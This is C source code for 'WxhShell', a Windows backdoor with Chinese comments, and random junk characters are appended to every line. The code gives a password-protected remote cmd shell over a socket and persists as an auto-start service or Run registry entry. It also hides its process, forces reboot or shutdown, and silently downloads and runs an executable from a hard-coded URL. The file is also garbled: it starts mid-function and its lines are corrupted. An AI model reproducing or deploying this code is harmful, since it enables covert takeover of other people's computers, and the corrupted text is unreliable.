  case 'd': { X'A`" }=_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lg^'/8^f  
    if(Boot(SHUTDOWN)) uHbg&eW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v>X!/if<y  
    else { EEe$A?a;  
    closesocket(wsh); DYX{v`>f^  
    ExitThread(0); .ARYCTyG  
    } F`=p/IAJK  
    break; iSfRJ:_&6  
    } S!K<kn`E3  
  // 获取shell U1\EwBK8*T  
  case 's': { 3Tr,waV  
    CmdShell(wsh); dJuyJl$*  
    closesocket(wsh); fe .=Z&  
    ExitThread(0); c!w[)>v  
    break; '1u?-2  
  } i?L=8+9f  
  // 退出 ,%!m%+K9a  
  case 'x': { VH7t^fb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UiU/p  
    CloseIt(wsh); C T~6T&'  
    break; T!/o^0w  
    } "LlpZtw  
  // 离开 >Eh U{@Y  
  case 'q': { n6Oz[7M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QO@86{u#Y  
    closesocket(wsh); g{&5a(W&`  
    WSACleanup(); *qpFt Bg  
    exit(1); SQMl5d1d:  
    break; rgy I:F.  
        } ;<~f-D,  
  } N^ +q^iW  
  } .zb  
q<AnWNheE  
  // 提示信息 bRo<~ rp%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7i5B=y7b  
} P" c@V,.  
  } w4L()eP#?=  
T;M ;c. U  
  return; tPyk^NJ;  
} Om.%K>V  
/gAT@Vx  
// shell模块句柄 ^f[6NYS?  
int CmdShell(SOCKET sock) P9!awLM-  
{ he|Q (?  
STARTUPINFO si; D:`Q\za  
ZeroMemory(&si,sizeof(si)); Mi]^wCF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $(}rTm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w_"d&eYdg0  
PROCESS_INFORMATION ProcessInfo; `2>p#`  
char cmdline[]="cmd"; f )Lcs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |JkfAnrN$I  
  return 0; 9hr7+fW]t  
} *eg0^ByeD  
"DN,1Q lCp  
// 自身启动模式 f@}> :x  
int StartFromService(void) f y2vAwl  
{ w|dfl *  
typedef struct ss-W[|cHU  
{ 9]Jv >_W*  
  DWORD ExitStatus; e&sH<hWR  
  DWORD PebBaseAddress; <F^9ML+'  
  DWORD AffinityMask; \Zf=A[  
  DWORD BasePriority; Byq VNz0L  
  ULONG UniqueProcessId; Zk`y"[J  
  ULONG InheritedFromUniqueProcessId; =A!oLe$%  
}   PROCESS_BASIC_INFORMATION; /? %V% n  
9L$OSy|  
PROCNTQSIP NtQueryInformationProcess; tR51Pw  
GR|\OJ<2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P!-RZEt$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2l?^\9&  
iM!Ya!  
  HANDLE             hProcess; b}TvQ+W]2  
  PROCESS_BASIC_INFORMATION pbi; h6k" D4o\  
-1Tr!I:1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AL":j6!OQ  
  if(NULL == hInst ) return 0; 20I`F>-*  
&G2&OFAr]q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gWgp:;Me  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =`x }9|[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Cl '$*h  
]QlW{J  
  if (!NtQueryInformationProcess) return 0; *I :c@iCNJ  
7V%P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -sJ1q^;f@  
  if(!hProcess) return 0; OROvy  
$e1.y b%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9(t(sP_  
;6@sC[  
  CloseHandle(hProcess); HGAi2+&  
s(py7{ ^K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'goKYl#1Q  
if(hProcess==NULL) return 0; {|>'(iqH"w  
+ yI$4MY  
HMODULE hMod; Muwlehuq  
char procName[255]; Cu`  
unsigned long cbNeeded; ![Qi+xyc  
TG;[,oa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q z(n41@`  
G,>YzjMY`  
  CloseHandle(hProcess); \k5"&]I3  
U!uPf:p2  
if(strstr(procName,"services")) return 1; // 以服务启动 Ma!  
(F^R9G|  
  return 0; // 注册表启动 dC,C[7\  
} %GTFub0 F  
R?u(aY)P  
// 主模块 a/ uo)']B  
int StartWxhshell(LPSTR lpCmdLine) %Bw:6Y4LZ  
{ 'IY?=#xr'`  
  SOCKET wsl; \ Bj{.jL  
BOOL val=TRUE; &]YyV.  
  int port=0; Ck#e54gJX  
  struct sockaddr_in door; T1q27I  
i&m_G5u88  
  if(wscfg.ws_autoins) Install(); 2.WI".&y=  
%16Lo<DPm  
port=atoi(lpCmdLine); R*vQvO%)h  
,c"J[$i$  
if(port<=0) port=wscfg.ws_port; VwH|ed$  
d<d3j9u(#  
  WSADATA data; 1UK= t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "dP-e  
,c:NdY(,)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tC|?Kl7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i.'"`pn_  
  door.sin_family = AF_INET; U',C-56z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); msxt'-$M  
  door.sin_port = htons(port); 6yy%_+k*  
w:lj4Z_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A:Wr5`FJ  
closesocket(wsl); _cvX$(Sg  
return 1; MrzD ah9UG  
} T^Ia^B-%}g  
Q>D//_TF  
  if(listen(wsl,2) == INVALID_SOCKET) {  >SQzE  
closesocket(wsl); "a].v 8l!  
return 1; 6!>p<p"Ns  
} XfE0P(sE  
  Wxhshell(wsl); %SB4_ r*<  
  WSACleanup(); /pjl6dJ t  
"LTw;& y  
return 0; z=KDkpV  
`E1G9BbU  
} C jf<,x$  
6HZtdRQF  
// 以NT服务方式启动 27 XM&ZrZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q;bw }4  
{ Ea S[W?u}  
DWORD   status = 0; 2!0tD+B  
  DWORD   specificError = 0xfffffff; 8!|vp7/  
C W#:'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Hy4;i^Ik <  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +z nlf-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F oC $X  
  serviceStatus.dwWin32ExitCode     = 0; |;NfH|43;  
  serviceStatus.dwServiceSpecificExitCode = 0; *-PjcF}Y  
  serviceStatus.dwCheckPoint       = 0; }Q4Vy  
  serviceStatus.dwWaitHint       = 0; ?|kbIZP(  
@*|VWHR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g;=VuQuP|  
  if (hServiceStatusHandle==0) return; xI{fd1  
t3<8n;'y:  
status = GetLastError(); 27N;>   
  if (status!=NO_ERROR) )qb'tZz/g_  
{ OW#0$%f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6&0@k^7~  
    serviceStatus.dwCheckPoint       = 0; 5@+?{Cl  
    serviceStatus.dwWaitHint       = 0; [hSJ)IZh  
    serviceStatus.dwWin32ExitCode     = status; +# 'w} P  
    serviceStatus.dwServiceSpecificExitCode = specificError; ["f6Ern  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 27fLW&b2  
    return; =V|jd'iwx  
  } c45 s #6  
r<fcZ)jt|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P}~MO)*1  
  serviceStatus.dwCheckPoint       = 0; m6[}KkW  
  serviceStatus.dwWaitHint       = 0; ,V,mz?d^9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ya1 aWs~  
} (9RfsV4^  
7:olStK  
// 处理NT服务事件,比如:启动、停止 %B\x %e ;P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3as=EYm  
{ d eT<)'"  
switch(fdwControl) "\EX)u9ze  
{ Xi%Og\vm5  
case SERVICE_CONTROL_STOP: i*/i"W<  
  serviceStatus.dwWin32ExitCode = 0; 2c]"*Pb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ez~5ax7x  
  serviceStatus.dwCheckPoint   = 0; "7y, d%H  
  serviceStatus.dwWaitHint     = 0; *JDz0M4f  
  {  7qy PI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z*h:Nt%.  
  } 2j8GJU/L  
  return; te( H6c#0  
case SERVICE_CONTROL_PAUSE: uCr& `  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BJwuN  
  break; _M/N_Fm  
case SERVICE_CONTROL_CONTINUE: #?w07/~L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LH2B*8=^2  
  break; =_#b .8K  
case SERVICE_CONTROL_INTERROGATE: .fJ8  
  break; N-QS/*C.~  
}; 7tlK'j'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k5E2{&wZ  
} 3bWGWI  
cZ_)'0  
// 标准应用程序主函数 7ivo Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J{b#X"i  
{ ]TT >3"Dw7  
,5v'hG  
// 获取操作系统版本 =xm7i#1  
OsIsNt=GetOsVer(); IWu=z!mO  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  j5/pVXO  
x4_MbUe  
  // 从命令行安装 ^+D/59I  
  if(strpbrk(lpCmdLine,"iI")) Install(); I`{*QU  
nQmHYOF%  
  // 下载执行文件 q~ a FV<Q  
if(wscfg.ws_downexe) { nSyLt6zn\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +]cf/_8+s  
  WinExec(wscfg.ws_filenam,SW_HIDE); } doAeTZ  
} 3GF67]  
eZOR{|z  
if(!OsIsNt) { .4^+q9M  
// 如果时win9x,隐藏进程并且设置为注册表启动 _aevaWtEx  
HideProc(); ^}Vc||S  
StartWxhshell(lpCmdLine); neM.M)0  
} nDdY~f.B  
else ~'lT8 n_  
  if(StartFromService()) IOZw[9](+  
  // 以服务方式启动  q6F1Rt  
  StartServiceCtrlDispatcher(DispatchTable); < 8' b  
else r1< 'l  
  // 普通方式启动 ybiTWM  
  StartWxhshell(lpCmdLine); 7JBs7LG  
aC[G_ACwc  
return 0; cxs@ph&Wk  
} k)-+ZmMOh  
0RA#Y(IR  
B{&W|z{$  
`[5xncZ-  
=========================================== { .$7g8]I  
mv99SOe[Fz  
g@^y$wt  
C/Q20  
yS~Y"#F!.  
UUDUd a  
" +@?Q"B5u}  
>`UqS`YQK  
#include <stdio.h> m8F$h-  
#include <string.h> Ag9GYm  
#include <windows.h> 1ARtFR2C{b  
#include <winsock2.h> }{N#JTmjB#  
#include <winsvc.h> 'O)v@p "  
#include <urlmon.h> c qCNk  
"<0!S~]  
#pragma comment (lib, "Ws2_32.lib") ?\,;KNQr  
#pragma comment (lib, "urlmon.lib") 5 %\K  
K>+ v" x  
#define MAX_USER   100 // 最大客户端连接数 uuEvH<1  
#define BUF_SOCK   200 // sock buffer qY8; k #  
#define KEY_BUFF   255 // 输入 buffer :G 5p`;hGo  
K*j OrQf`  
#define REBOOT     0   // 重启 o4p5`jOG@  
#define SHUTDOWN   1   // 关机 5go)D+6s  
I[&x-}w  
#define DEF_PORT   5000 // 监听端口 8(4!x$,Z5  
|iUF3s|?  
#define REG_LEN     16   // 注册表键长度 9ia&/BT7"z  
#define SVC_LEN     80   // NT服务名长度 ra*|HcLD  
tRU/[?!  
// 从dll定义API d~QKZ&jf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \@Cz 32wg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u W,J5!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e*T^:2oRl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aQmS'{d?^  
CrI<rD%'  
// wxhshell配置信息 &'12,'8  
struct WSCFG { }Q: CZ  
  int ws_port;         // 监听端口 o=Z:0Ukl]  
  char ws_passstr[REG_LEN]; // 口令 *Hn=)q  
  int ws_autoins;       // 安装标记, 1=yes 0=no zqj|$YNC  
  char ws_regname[REG_LEN]; // 注册表键名 Fxa{ 9'99  
  char ws_svcname[REG_LEN]; // 服务名 ,|RKM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i}8OaX3x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (.N n|lY<i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 12#yHsk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q<6* UUQm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +ZjDTTk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 25Z} .))  
W]Xwt'ABz  
}; %R4 \[e  
DtBvfYO8)>  
// default Wxhshell configuration HR?T  
struct WSCFG wscfg={DEF_PORT, Wy-_}wqHg  
    "xuhuanlingzhe", c=tbl|Cq  
    1, ,K}"o~z  
    "Wxhshell", 'yH  
    "Wxhshell", &V+_b$  
            "WxhShell Service", $&.(7F^D  
    "Wrsky Windows CmdShell Service", 3_wR2AU~  
    "Please Input Your Password: ", EFDmNud`Q  
  1, [@qjy*5p  
  "http://www.wrsky.com/wxhshell.exe", ?wkT=mv  
  "Wxhshell.exe" G!VEV3zT  
    }; W>!:K^8]  
dn'|~zf.  
// 消息定义模块 Sm {Sq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VTL_I^p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U:~]>B $  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pSQX  
char *msg_ws_ext="\n\rExit."; =A,T:!}'  
char *msg_ws_end="\n\rQuit."; L=;T$4+p  
char *msg_ws_boot="\n\rReboot..."; FUSe!f  
char *msg_ws_poff="\n\rShutdown..."; nL^7t7mp  
char *msg_ws_down="\n\rSave to "; `%[m%Y9h  
c86?-u')  
char *msg_ws_err="\n\rErr!"; }f;TG:6  
char *msg_ws_ok="\n\rOK!"; /Zs_G=\>  
&zgliT!If  
char ExeFile[MAX_PATH]; TXYO{  
int nUser = 0; z4D)Xy"/  
HANDLE handles[MAX_USER]; 'J*'{  
int OsIsNt; +(x(Ybl#  
\h[*oeh  
SERVICE_STATUS       serviceStatus; RU/WI<O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =g6~2p=H  
yD \Kn{  
// 函数声明 &^&0,g?To  
int Install(void); j8Q_s/n  
int Uninstall(void); ^vh!1"T  
int DownloadFile(char *sURL, SOCKET wsh); gcwJ{&  
int Boot(int flag); Y/UvNb<lK  
void HideProc(void); vO?sHh  
int GetOsVer(void); Zt41fPQ  
int Wxhshell(SOCKET wsl); /kr|}`# Z  
void TalkWithClient(void *cs); Z/ml ,4e  
int CmdShell(SOCKET sock); u)EtEl7Wq  
int StartFromService(void); jHT^I as  
int StartWxhshell(LPSTR lpCmdLine); _t]Q*i0p  
z{BgAI,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l-r$czY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,]JIp~=nsh  
J0bcW25  
// 数据结构和表定义 0u"j^v  
SERVICE_TABLE_ENTRY DispatchTable[] = tol-PJS}  
{ q@S \R 7R  
{wscfg.ws_svcname, NTServiceMain}, p);[;S  
{NULL, NULL} TPx0LDk%(  
}; !b0A %1W;  
yo_zc<  
// 自我安装 J s33S)  
int Install(void) n=DmdQ}  
{ Ot=nKdP}D  
  char svExeFile[MAX_PATH]; 9:%')M&Q  
  HKEY key; )X*_oH=  
  strcpy(svExeFile,ExeFile); 1)}hzA  
G?~Yw'R^8  
// 如果是win9x系统,修改注册表设为自启动 #Q_Scxf  
if(!OsIsNt) { rUV'DC?eE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qg1kF^=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ' "%hX&]5  
  RegCloseKey(key); =saRh)EM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6Yva4Lv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Hf?["m^@  
  RegCloseKey(key); D?xR>Oo)  
  return 0; |jH Yf42Q  
    } F{ 4k2Izr  
  } '%|Um3);0p  
} X pK eN2=p  
else { 3^H-,b0^  
p;zT #%  
// 如果是NT以上系统,安装为系统服务 9^sz,auB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /3Y"F"`M.  
if (schSCManager!=0) g]MgT-C|  
{ |LZ+_  
  SC_HANDLE schService = CreateService M?sTz@tqq  
  ( .pxUO3g  
  schSCManager,  R'_F9\  
  wscfg.ws_svcname, m/g[9Y  
  wscfg.ws_svcdisp, ,Cm1~ExJ  
  SERVICE_ALL_ACCESS, ;)f,A)(Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T{3-H(-gA  
  SERVICE_AUTO_START, dZkKAK:v  
  SERVICE_ERROR_NORMAL, 1'&HmBfcb  
  svExeFile, FD~uUZTM  
  NULL, #Wl9[W/4  
  NULL, 'g<FL`iP  
  NULL, AKLFUk  
  NULL, g( "[wqgG  
  NULL b,ZBol|X  
  ); jX$U)O  
  if (schService!=0) lUnC+w#[  
  { nYC S %\"  
  CloseServiceHandle(schService); E_D@ 7a  
  CloseServiceHandle(schSCManager); {^:i}4ZRl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T-s[na(/L  
  strcat(svExeFile,wscfg.ws_svcname); `P|V&;}K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *g'%5i1ed  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (L1O;~$  
  RegCloseKey(key); %t.\J:WN;  
  return 0; e9k$5ps  
    } ?6\A$?  
  } 9,>c;7s X  
  CloseServiceHandle(schSCManager); {9F}2 SJ  
} .`D$.|!8g  
} 7O=7lQ  
v~dUH0P<>e  
return 1; F CfU=4O  
} \@NnL\ t u  
G&N),wsNZK  
// 自我卸载 HZ{DlH;&  
int Uninstall(void) 5C-n"8&C&  
{ R6o07.]  
  HKEY key; {oo(HD;5  
iqd7  
if(!OsIsNt) { IQ~EL';<w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hb$wawy<  
  RegDeleteValue(key,wscfg.ws_regname); ,/p .!+  
  RegCloseKey(key); )q{e L$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i94)DWZ^  
  RegDeleteValue(key,wscfg.ws_regname); 6l|SGt\  
  RegCloseKey(key); WR* <|  
  return 0; cR6 #$-a  
  } O~Dm|hP  
} (iO/@iw  
} l2!ztK1^  
else { !*k'3r KOW  
`LTD|0;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i~DLo3  
if (schSCManager!=0) Ao9=TC'v$'  
{ Zqg AgN@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bwjLMWEVq  
  if (schService!=0) _(@ezX.p  
  { b]Lp_t  
  if(DeleteService(schService)!=0) { tF!C']  
  CloseServiceHandle(schService); C !Lu`y  
  CloseServiceHandle(schSCManager); b:*( f#"q  
  return 0; =\jPnov!  
  } pN;Tt+}  
  CloseServiceHandle(schService); 6bpO#&T  
  } !V0)eC50  
  CloseServiceHandle(schSCManager); y[f6J3/  
} wqQrby<  
} rY=dNK]d  
\z-OJ1[F  
return 1; N?%FVF  
} kgFx  
_~b]/]|z#N  
// 从指定url下载文件 n]_<6{: U  
int DownloadFile(char *sURL, SOCKET wsh) wcDb| H&  
{ +oa>k 0  
  HRESULT hr; <;E>1*K}8  
char seps[]= "/"; MOP#to)k&  
char *token; Oufdi3h  
char *file; G8hDR^ra  
char myURL[MAX_PATH]; rEs Gf+4  
char myFILE[MAX_PATH]; c~Z\|Y`#B  
|0N1]Hf   
strcpy(myURL,sURL); -~=:tn)0  
  token=strtok(myURL,seps); ;u?H#\J,  
  while(token!=NULL) hL/  
  { lH oV>k  
    file=token; c6F8z75U  
  token=strtok(NULL,seps); \8-PCD  
  } m-|~tve  
F!6;< !&h  
GetCurrentDirectory(MAX_PATH,myFILE); BIEeHN4  
strcat(myFILE, "\\"); 8:Jc2K  
strcat(myFILE, file); ')v<MqBr  
  send(wsh,myFILE,strlen(myFILE),0); 6[C>"s}Ol  
send(wsh,"...",3,0); ]0@ J)Z09  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fK9wr@1  
  if(hr==S_OK) X7fJ+C n  
return 0; 2Rs-!G< ]  
else [- x]%  
return 1; R)5zHCwOw  
h<f]hJ`ep  
} U3ao:2zP  
gl"1;C  
// 系统电源模块 ~f!iz~  
int Boot(int flag) <nT).S>+  
{ x5nw/''[2  
  HANDLE hToken; f5|Ew&1EP  
  TOKEN_PRIVILEGES tkp; 1ml{oqNj  
bp(X\:zAy  
  if(OsIsNt) { ef(OhIX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7TGLt z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^U@E rc#d  
    tkp.PrivilegeCount = 1; ;1woTAuD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6 g`Y~ii  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wfF0+T+IA  
if(flag==REBOOT) { !T8h+3 I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]^@!ID$c  
  return 0; yBxWBW*e  
} nQ^ <h.  
else { }Dc?Emb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;AK@Kb  
  return 0; p7Q %)5o  
} d+:pZ  
  } n42XqR  
  else { "G @(AE(  
if(flag==REBOOT) { ;b1*2-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !8i[.EAT  
  return 0; Ax;i;<md  
} -_|U"C$  
else { i\u m;\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /\1MG>#K  
  return 0; V9i[ dF  
} VWR6/,N^_  
} (GJW3  
zkRL'-  
return 1; `$, \B  
} Z3]ut #`  
")ZsY9-P  
// win9x进程隐藏模块 F~_)auH  
void HideProc(void) V$XCe  
{ 4{oS(Vl!  
Yy:Q/zw o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5PU$D`7it  
  if ( hKernel != NULL ) *~%# =o  
  { h,C?%H+/0Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w st)O{4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c|^#v8x^/  
    FreeLibrary(hKernel); %.*?i9}  
  } `^7ARr/  
4chSo.= 4V  
return; g` QbJ61a  
} ]ZOzqh_0C  
`CXAE0Fx  
// 获取操作系统版本 E _DSf  
int GetOsVer(void) SecZ5(+=  
{ - &/n[EE  
  OSVERSIONINFO winfo; ]B"YW_.x2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m!-,K8  
  GetVersionEx(&winfo); H7"m/Bia  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <_"^eF+fZ  
  return 1; E1e#E3Yq}s  
  else T m0m$l  
  return 0; BejeFV3  
} 7Ed6o  
* -Kf  
// 客户端句柄模块 [:!D.@h|  
int Wxhshell(SOCKET wsl) hVAP )"5  
{ ekj@;6 d]  
  SOCKET wsh; J0vCi}L  
  struct sockaddr_in client; ~ST7@-D0  
  DWORD myID; g :me:M  
5-ju5z?=  
  while(nUser<MAX_USER) c_xo6+:l  
{ 1$g]&'  
  int nSize=sizeof(client); _g(4-\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &_EjP hZ  
  if(wsh==INVALID_SOCKET) return 1; @Gj|X>0  
MQv2C@K9F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ux Yb[Nbc  
if(handles[nUser]==0) KF[P /cFI  
  closesocket(wsh); MH>CCT  
else >dW~o_u'QN  
  nUser++; i$A0_ZJKjZ  
  } T53|*~u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /Af:{|'$%  
D`bH_1X  
  return 0; P'4jz&4  
} mqg[2VTRP  
[o=v"s't)  
// 关闭 socket ^sNj[%I R  
void CloseIt(SOCKET wsh) \666{.a  
{ j<LDJi>O  
closesocket(wsh); |\OG9{q  
nUser--;  OBY  
ExitThread(0); Q( C\X  
} prC1<rm  
}!-K)j.  
// 客户端请求句柄 C>vp oCA  
void TalkWithClient(void *cs) :Sx!jx>W  
{ )PU?`yLTr  
#UcqKq  
  SOCKET wsh=(SOCKET)cs; +([ iCL  
  char pwd[SVC_LEN]; D4x~Vk%H  
  char cmd[KEY_BUFF]; x*A_1_A  
char chr[1]; Ifm|_  
int i,j; 8tM40/U$  
0!c^pOq6  
  while (nUser < MAX_USER) { qe!\ oh  
B!=JRf T  
if(wscfg.ws_passstr) { u*ZRU 4 U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fBptjt_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TqM(I[J7\  
  //ZeroMemory(pwd,KEY_BUFF); etEm#3  
      i=0; =?} t7}#  
  while(i<SVC_LEN) { :n:Gr?  
<MlRy%3Z  
  // 设置超时 Q]Fm4  
  fd_set FdRead; 'L w4jq  
  struct timeval TimeOut; z@nJ-*'U8  
  FD_ZERO(&FdRead); pm-SDp>s  
  FD_SET(wsh,&FdRead); Zjz< Q-  
  TimeOut.tv_sec=8; do2~LmeW  
  TimeOut.tv_usec=0; N|v3a>;*l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n_Ht{2I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /N`l z>^~  
5y. n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ri@`sc{n  
  pwd=chr[0]; ZX0ZN2 ]  
  if(chr[0]==0xd || chr[0]==0xa) { 6]%79?'A  
  pwd=0; Mb6 #97  
  break; yB&+2  
  } mr+J#  
  i++; ydCVG,"  
    } \(PC#H%  
= dyApR:'  
  // 如果是非法用户,关闭 socket tp='PG.6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +`_I !  
} wL'tGAv  
%E95R8SL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g7*ii X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l^s\^b=W  
qHGXs@*M&  
while(1) { y`?{ 2#1H  
tdTD!'  
  ZeroMemory(cmd,KEY_BUFF); V[R33NYG  
YlW~  
      // 自动支持客户端 telnet标准   LLn,pI2fL{  
  j=0; $'I+] ;  
  while(j<KEY_BUFF) { E$-u:Z<-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !$"DD[~\  
  cmd[j]=chr[0]; `.f {V  
  if(chr[0]==0xa || chr[0]==0xd) { | fMjg'%{}  
  cmd[j]=0; "5]Fl8c?  
  break; _`>F>aP  
  } D}SYv})Ti  
  j++; EK^B=)q6:W  
    } ;- D1n  
9]AiaV9  
  // 下载文件 biCX: m+_?  
  if(strstr(cmd,"http://")) { 3Zm'09A-.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -_bHLoI  
  if(DownloadFile(cmd,wsh)) 6~KtT{MYQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ceakTAB[  
  else %[:\ZwT,-  
